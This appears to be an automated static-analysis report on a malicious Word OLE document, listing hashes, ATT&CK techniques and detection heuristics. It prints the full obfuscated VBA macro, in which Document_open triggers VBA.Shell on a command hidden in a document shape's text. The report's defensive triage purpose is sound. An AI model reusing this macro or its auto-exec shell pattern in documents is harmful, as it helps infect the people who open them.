Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2800a054245bb150…

MALICIOUS

Office (OLE)

72.0 KB Created: 2018-11-09 18:52:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: 3edb84d3e032fc055d3468520c6eb3fd SHA-1: c69fdd9c8499929fd8b77bf6590d759cfce853de SHA-256: 2800a054245bb1509fa3ffd520c36930c2159817672baa971edb483e236571b8
232 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a critical OLE_VBA_SHELL heuristic indicating the use of the Shell() function within a VBA macro. This macro, triggered by Document_open, also references PowerShell, suggesting it's used to download and execute a second-stage payload. The ClamAV detection further confirms its malicious nature.

Heuristics 8

  • ClamAV: Doc.Malware.Generic-6745344-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6745344-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
       FormatDateTime JzjjU + zPzfR + zkwlJj + lBZNPA * fmaqlP + nRtPa - (pwBwW + vdYDd + ujIAkm + fiZKp)
lWKirtltBGL = VBA.Shell(Shapes(oJTEW + Imzbr + 1 + NGjwE + wmjHwvv).TextFrame.TextRange.Text + MscUGTFz + nbVAJ, KXMwsiB)
End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Function
Private Sub Document_open()
On Error Resume Next
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1894 bytes
SHA-256: 9e85f8a70b3ba72b122bac539f22d22dde6354bf7bec84f2e20f6839fa36c81f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
50 of 93 identifiers look randomly generated (e.g. 'shKaIoIXlzFYCU'); 1 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "shKaIoIXlzFYCU"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function RYSZVjnow()
On Error Resume Next
Const KXMwsiB = 148984163 - 148984163
   TimeValue (iOnWk + mFkrOu)
   TimeValue thqXi + FiKWzb - jBzwLq + NmWDdG + wXTJS + vinvd
   FormatNumber rlQas + TVOEqQ + ppnMwz + atzGuu + (RvBoqa + CPwah)
   FormatDateTime VcRYm + ibsrET + woGKm + YGHGqM / VvwNDV + kFlVwR + YtFjPq + HHbcJ + qzOWaL + Hmdio + XjsDlM + uAMBZ
   FormatDateTime JzjjU + zPzfR + zkwlJj + lBZNPA * fmaqlP + nRtPa - (pwBwW + vdYDd + ujIAkm + fiZKp)
lWKirtltBGL = VBA.Shell(Shapes(oJTEW + Imzbr + 1 + NGjwE + wmjHwvv).TextFrame.TextRange.Text + MscUGTFz + nbVAJ, KXMwsiB)
End Function
Private Sub Document_open()
On Error Resume Next
   FormatDateTime iNfmjj + jQqrz - tKTUEj + AnPqWU + anaci + nGzRj
   FormatDateTime aRTbtC + WpXmw * nLszni + YwtBj + (zDDcmX + VUiwN + pZzQw + ChQcj)
   FormatNumber siAMt + sXDllJ * (jlqzo + MKqtp)
   TimeValue afCbX + rDCwS + kOjET + vjUtpa / zijHjb + EZzjT + GiVPnb + DLEScz - nosjqb + ZkLwTX + IKRDla + RNEGNw
   FormatNumber JiNLh + zwVAiz + AwUXDV + NlKtsz / (tiRvLR + wfucqE + VWROk + WGijKq / (GXXTSi + DOEEX + (zERavM + SsPtf + TNmzh + VjdYIa)))
   FormatDateTime (unNBnN + CWmCz + bwXCpT + fBPzc + (dHCkK + jrwjqj + vBjPEu + TkMTqA + (wDsYNY + jHAlb + QDdOj + qXNzm)))
   FormatNumber (lztuj + KFinGK + KcLufd + raPHzm) + KWkEF + InYqM + rRzhQ + DDHOL
RYSZVjnow
   TimeValue GmGOiM + KzMuBl / (AbHQhq + kBnFfl + RVaSSP + REYBwR)
   FormatDateTime LGSNr + jSpIo / ZTNIio + OoQPW + CzVfI + lENHmz
   FormatNumber (zhJNB + BlDrm + (VlSIza + sdmbjV))
   TimeValue (Emvzqt + vNPQim + (tOurv + pELnjJ + tLLbL + AEctTY))
End Sub

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